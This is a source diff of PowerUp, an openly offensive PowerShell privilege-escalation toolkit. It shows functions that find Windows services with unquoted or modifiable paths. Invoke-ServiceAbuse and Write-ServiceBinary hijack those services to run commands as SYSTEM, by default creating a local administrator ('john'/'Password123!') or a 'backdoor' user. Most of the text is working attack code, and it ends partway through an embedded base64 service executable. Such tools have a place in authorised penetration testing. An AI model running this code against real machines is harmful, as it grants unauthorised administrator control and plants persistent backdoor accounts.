ForEach($TargetPermission in $TargetPermissions) { # check permissions && style @@ -1397,7 +1830,7 @@ function Test-ServiceDaclPermission { break } } - if($AllMatched) { + if ($AllMatched) { $TargetService } } @@ -1428,50 +1861,63 @@ function Test-ServiceDaclPermission { # ######################################################## -function Get-ServiceUnquoted { +function Get-UnquotedService { <# - .SYNOPSIS +.SYNOPSIS - Returns the name and binary path for services with unquoted paths - that also have a space in the name. +Returns the name and binary path for services with unquoted paths +that also have a space in the name. - .EXAMPLE +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission - PS C:\> $services = Get-ServiceUnquoted +.DESCRIPTION - Get a set of potentially exploitable services. +Uses Get-WmiObject to query all win32_service objects and extract out +the binary pathname for each. Then checks if any binary paths have a space +and aren't quoted. - .LINK +.EXAMPLE - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb -#> - [CmdletBinding()] param() +Get-UnquotedService - # find all paths to service .exe's that have a space in the path and aren't quoted - $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} +Get a set of potentially exploitable services. - if ($VulnServices) { - ForEach ($Service in $VulnServices) { +.OUTPUTS - $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath +PowerUp.UnquotedService - $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name +.LINK - if($ServiceRestart) { - $CanRestart = $True - } - else { - $CanRestart = $False - } +https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb +#> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.UnquotedService')] + [CmdletBinding()] + Param() + + # find all paths to service .exe's that have a space in the path and aren't quoted + $VulnServices = Get-WmiObject -Class win32_service | Where-Object { + $_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*' + } + + if ($VulnServices) { + ForEach ($Service in $VulnServices) { + + $ModifiableFiles = $Service.pathname.Split(' ') | Get-ModifiablePath + + $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { + $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path " - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService') $Out } } @@ -1481,25 +1927,37 @@ function Get-ServiceUnquoted { function Get-ModifiableServiceFile { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates all services and returns vulnerable service files. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission + +.DESCRIPTION - Enumerates all services and returns vulnerable service files. +Enumerates all services by querying the WMI win32_service class. For each service, +it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine +if the current user has rights to modify the service binary itself or any associated +arguments. If the associated binary (or any configuration files) can be overwritten, +privileges may be able to be escalated. - .DESCRIPTION +.EXAMPLE - Enumerates all services by querying the WMI win32_service class. For each service, - it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine - if the current user has rights to modify the service binary itself or any associated - arguments. If the associated binary (or any configuration files) can be overwritten, - privileges may be able to be escalated. +Get-ModifiableServiceFile - .EXAMPLE +Get a set of potentially exploitable service binares/config files. - PS C:\> Get-ModifiableServiceFile +.OUTPUTS - Get a set of potentially exploitable service binares/config files. +PowerUp.ModifiablePath #> - [CmdletBinding()] param() + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableServiceFile')] + [CmdletBinding()] + Param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { @@ -1508,16 +1966,7 @@ function Get-ModifiableServiceFile { $ServiceStartName = $_.startname $ServicePath | Get-ModifiablePath | ForEach-Object { - - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName - - if($ServiceRestart) { - $CanRestart = $True - } - else { - $CanRestart = $False - } - + $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath @@ -1526,7 +1975,8 @@ function Get-ModifiableServiceFile { $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'" - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile') $Out } } @@ -1535,42 +1985,45 @@ function Get-ModifiableServiceFile { function Get-ModifiableService { <# - .SYNOPSIS +.SYNOPSIS - Enumerates all services and returns services for which the current user can modify the binPath. +Enumerates all services and returns services for which the current user can modify the binPath. - .DESCRIPTION +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission - Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if - the current user has rights to change the service configuration. +.DESCRIPTION - .EXAMPLE +Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if +the current user has rights to change the service configuration. - PS C:\> Get-ModifiableService +.EXAMPLE - Get a set of potentially exploitable services. -#> - [CmdletBinding()] param() +Get-ModifiableService - Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { +Get a set of potentially exploitable services. - $ServiceDetails = $_ | Get-ServiceDetail +.OUTPUTS - $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' +PowerUp.ModifiablePath +#> - if($ServiceRestart) { - $CanRestart = $True - } - else { - $CanRestart = $False - } + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableService')] + [CmdletBinding()] + Param() + Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { + $ServiceDetails = $_ | Get-ServiceDetail + $CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'" - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService') $Out } } @@ -1578,37 +2031,47 @@ function Get-ModifiableService { function Get-ServiceDetail { <# - .SYNOPSIS +.SYNOPSIS + +Returns detailed information about a specified service by querying the +WMI win32_service class for the specified service name. - Returns detailed information about a specified service by querying the - WMI win32_service class for the specified service name. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - .DESCRIPTION +.DESCRIPTION - Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on - the pipeline object returned by Get-Service, extracts out the service name, queries the - WMI win32_service class for the specified service for details like binPath, and outputs - everything. +Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on +the pipeline object returned by Get-Service, extracts out the service name, queries the +WMI win32_service class for the specified service for details like binPath, and outputs +everything. - .PARAMETER Name +.PARAMETER Name - An array of one or more service names to query information for. +An array of one or more service names to query information for. - .EXAMPLE +.EXAMPLE - PS C:\> Get-ServiceDetail -Name VulnSVC +Get-ServiceDetail -Name VulnSVC + +Gets detailed information about the 'VulnSVC' service. + +.EXAMPLE - Gets detailed information about the 'VulnSVC' service. +Get-Service VulnSVC | Get-ServiceDetail - .EXAMPLE +Gets detailed information about the 'VulnSVC' service. - PS C:\> Get-Service VulnSVC | Get-ServiceDetail +.OUTPUTS - Gets detailed information about the 'VulnSVC' service. +System.Management.ManagementObject #> - param ( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [OutputType('PowerUp.ModifiableService')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] @@ -1616,18 +2079,16 @@ function Get-ServiceDetail { ) PROCESS { - ForEach($IndividualService in $Name) { - - $TargetService = Get-Service -Name $IndividualService - - Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { - try { - $_ - } - catch{ - Write-Verbose "Error: $_" - $null + $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop + if ($TargetService) { + Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { + try { + $_ + } + catch { + Write-Verbose "Error: $_" + } } } } @@ -1643,107 +2104,121 @@ function Get-ServiceDetail { function Invoke-ServiceAbuse { <# - .SYNOPSIS +.SYNOPSIS - Abuses a function the current user has configuration rights on in order - to add a local administrator or execute a custom command. +Abuses a function the current user has configuration rights on in order +to add a local administrator or execute a custom command. - Author: @harmj0y - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath - .DESCRIPTION +.DESCRIPTION - Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current - user has configuration modification rights on and executes a series of automated actions to - execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the - original service binary path and configuration state are preserved. Then the service is stopped - and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a - series of commands, the service is started, stopped, and the next command is configured. After - completion, the original service configuration is restored and a custom object is returned - that captures the service abused and commands run. +Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current +user has configuration modification rights on and executes a series of automated actions to +execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the +original service binary path and configuration state are preserved. Then the service is stopped +and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a +series of commands, the service is started, stopped, and the next command is configured. After +completion, the original service configuration is restored and a custom object is returned +that captures the service abused and commands run. - .PARAMETER Name +.PARAMETER Name - An array of one or more service names to abuse. +An array of one or more service names to abuse. - .PARAMETER UserName +.PARAMETER UserName - The [domain\]username to add. If not given, it defaults to "john". - Domain users are not created, only added to the specified localgroup. +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. - .PARAMETER Password +.PARAMETER Password - The password to set for the added user. If not given, it defaults to "Password123!" +The password to set for the added user. If not given, it defaults to "Password123!" - .PARAMETER LocalGroup +.PARAMETER LocalGroup - Local group name to add the user to (default of 'Administrators'). +Local group name to add the user to (default of 'Administrators'). - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object specifying the user/password to add. +A [Management.Automation.PSCredential] object specifying the user/password to add. - .PARAMETER Command +.PARAMETER Command - Custom command to execute instead of user creation. +Custom command to execute instead of user creation. - .PARAMETER Force +.PARAMETER Force - Switch. Force service stopping, even if other services are dependent. +Switch. Force service stopping, even if other services are dependent. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-ServiceAbuse -Name VulnSVC +Invoke-ServiceAbuse -Name VulnSVC + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! to the machine and local administrator group + +.EXAMPLE - Abuses service 'VulnSVC' to add a localuser "john" with password - "Password123! to the machine and local administrator group +Get-Service VulnSVC | Invoke-ServiceAbuse - .EXAMPLE +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! to the machine and local administrator group - PS C:\> Get-Service VulnSVC | Invoke-ServiceAbuse +.EXAMPLE - Abuses service 'VulnSVC' to add a localuser "john" with password - "Password123! to the machine and local administrator group +Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" - .EXAMPLE +Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the +local adminisrtators group. - PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" +.EXAMPLE - Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the - local adminisrtators group. +Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" - .EXAMPLE +Abuses service 'VulnSVC' to add a localuser "backdoor" with password +"password" to the machine and local "Power Users" group - PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" +.EXAMPLE - Abuses service 'VulnSVC' to add a localuser "backdoor" with password - "password" to the machine and local "Power Users" group +Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." - .EXAMPLE +Abuses service 'VulnSVC' to execute a custom command. - PS C:\> Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." +.OUTPUTS - Abuses service 'VulnSVC' to execute a custom command. +PowerUp.AbusedService #> - param ( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.AbusedService')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name, + [ValidateNotNullOrEmpty()] [String] $UserName = 'john', + [ValidateNotNullOrEmpty()] [String] $Password = 'Password123!', + [ValidateNotNullOrEmpty()] [String] $LocalGroup = 'Administrators', [Management.Automation.PSCredential] - $Credential, + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] @@ -1755,12 +2230,12 @@ function Invoke-ServiceAbuse { BEGIN { - if($PSBoundParameters['Command']) { + if ($PSBoundParameters['Command']) { $ServiceCommands = @($Command) } else { - if($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } @@ -1769,7 +2244,7 @@ function Invoke-ServiceAbuse { $PasswordToAdd = $Password } - if($UserNameToAdd.Contains('\')) { + if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $ServiceCommands = @("net localgroup $LocalGroup $UserNameToAdd /add") } @@ -1784,8 +2259,7 @@ function Invoke-ServiceAbuse { ForEach($IndividualService in $Name) { - $TargetService = Get-Service -Name $IndividualService - + $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $RestoreDisabled = $False @@ -1803,7 +2277,7 @@ function Invoke-ServiceAbuse { ForEach($ServiceCommand in $ServiceCommands) { - if($PSBoundParameters['Force']) { + if ($PSBoundParameters['Force']) { $TargetService | Stop-Service -Force -ErrorAction Stop } else { @@ -1811,18 +2285,17 @@ function Invoke-ServiceAbuse { } Write-Verbose "Executing command '$ServiceCommand'" - - $Success = $TargetService | Set-ServiceBinPath -binPath "$ServiceCommand" + $Success = $TargetService | Set-ServiceBinaryPath -Path "$ServiceCommand" if (-not $Success) { - throw "Error reconfiguring the binPath for $($TargetService.Name)" + throw "Error reconfiguring the binary path for $($TargetService.Name)" } $TargetService | Start-Service -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } - if($PSBoundParameters['Force']) { + if ($PSBoundParameters['Force']) { $TargetService | Stop-Service -Force -ErrorAction Stop } else { @@ -1831,24 +2304,24 @@ function Invoke-ServiceAbuse { Write-Verbose "Restoring original path to service '$($TargetService.Name)'" Start-Sleep -Seconds 1 - $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath" + $Success = $TargetService | Set-ServiceBinaryPath -Path "$OriginalServicePath" if (-not $Success) { throw "Error restoring the original binPath for $($TargetService.Name)" } # try to restore the service to whatever the service's original state was - if($RestoreDisabled) { + if ($RestoreDisabled) { Write-Verbose "Re-disabling service '$($TargetService.Name)'" $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop } - elseif($OriginalServiceState -eq "Paused") { + elseif ($OriginalServiceState -eq "Paused") { Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" $TargetService | Start-Service Start-Sleep -Seconds 1 $TargetService | Set-Service -Status Paused -ErrorAction Stop } - elseif($OriginalServiceState -eq "Stopped") { + elseif ($OriginalServiceState -eq "Stopped") { Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state" } else { @@ -1859,6 +2332,7 @@ function Invoke-ServiceAbuse { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ') + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.AbusedService') $Out } } @@ -1867,91 +2341,101 @@ function Invoke-ServiceAbuse { function Write-ServiceBinary { <# - .SYNOPSIS +.SYNOPSIS + +Patches in the specified command to a pre-compiled C# service executable and +writes the binary out to the specified ServicePath location. - Patches in the specified command to a pre-compiled C# service executable and - writes the binary out to the specified ServicePath location. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Author: @harmj0y - License: BSD 3-Clause +.DESCRIPTION - .DESCRIPTION +Takes a pre-compiled C# service binary and patches in the appropriate commands needed +for service abuse. If a -UserName/-Password or -Credential is specified, the command +patched in creates a local user and adds them to the specified -LocalGroup, otherwise +the specified -Command is patched in. The binary is then written out to the specified +-ServicePath. Either -Name must be specified for the service, or a proper object from +Get-Service must be passed on the pipeline in order to patch in the appropriate service +name the binary will be running under. - Takes a pre-compiled C# service binary and patches in the appropriate commands needed - for service abuse. If a -UserName/-Password or -Credential is specified, the command - patched in creates a local user and adds them to the specified -LocalGroup, otherwise - the specified -Command is patched in. The binary is then written out to the specified - -ServicePath. Either -Name must be specified for the service, or a proper object from - Get-Service must be passed on the pipeline in order to patch in the appropriate service - name the binary will be running under. +.PARAMETER Name - .PARAMETER Name +The service name the EXE will be running under. - The service name the EXE will be running under. +.PARAMETER UserName - .PARAMETER UserName +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. - The [domain\]username to add. If not given, it defaults to "john". - Domain users are not created, only added to the specified localgroup. +.PARAMETER Password - .PARAMETER Password +The password to set for the added user. If not given, it defaults to "Password123!" - The password to set for the added user. If not given, it defaults to "Password123!" +.PARAMETER LocalGroup - .PARAMETER LocalGroup +Local group name to add the user to (default of 'Administrators'). - Local group name to add the user to (default of 'Administrators'). +.PARAMETER Credential - .PARAMETER Credential +A [Management.Automation.PSCredential] object specifying the user/password to add. - A [Management.Automation.PSCredential] object specifying the user/password to add. +.PARAMETER Command - .PARAMETER Command +Custom command to execute instead of user creation. - Custom command to execute instead of user creation. +.PARAMETER Path - .PARAMETER Path +Path to write the binary out to, defaults to 'service.exe' in the local directory. - Path to write the binary out to, defaults to 'service.exe' in the local directory. +.EXAMPLE - .EXAMPLE +Write-ServiceBinary -Name VulnSVC - PS C:\> Write-ServiceBinary -Name VulnSVC +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). - Writes a service binary to service.exe in the local directory for VulnSVC that - adds a local Administrator (john/Password123!). +.EXAMPLE + +Get-Service VulnSVC | Write-ServiceBinary - .EXAMPLE +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). - PS C:\> Get-Service VulnSVC | Write-ServiceBinary +.EXAMPLE - Writes a service binary to service.exe in the local directory for VulnSVC that - adds a local Administrator (john/Password123!). +Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' - .EXAMPLE +Writes a service binary to service.exe in the local directory for VulnSVC that adds +TESTLAB\john to the Administrators local group. - PS C:\> Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +.EXAMPLE - Writes a service binary to service.exe in the local directory for VulnSVC that adds - TESTLAB\john to the Administrators local group. +Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! - .EXAMPLE +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (backdoor/Password123!). - PS C:\> Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +.EXAMPLE - Writes a service binary to service.exe in the local directory for VulnSVC that - adds a local Administrator (backdoor/Password123!). +Write-ServiceBinary -Name VulnSVC -Command "net ..." - .EXAMPLE +Writes a service binary to service.exe in the local directory for VulnSVC that +executes a custom command. - PS C:\> Write-ServiceBinary -Name VulnSVC -Command "net ..." +.OUTPUTS - Writes a service binary to service.exe in the local directory for VulnSVC that - executes a custom command. +PowerUp.ServiceBinary #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.ServiceBinary')] + [CmdletBinding()] Param( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] @@ -1967,7 +2451,8 @@ function Write-ServiceBinary { $LocalGroup = 'Administrators', [Management.Automation.PSCredential] - $Credential, + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] @@ -1982,11 +2467,11 @@ function Write-ServiceBinary { $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACA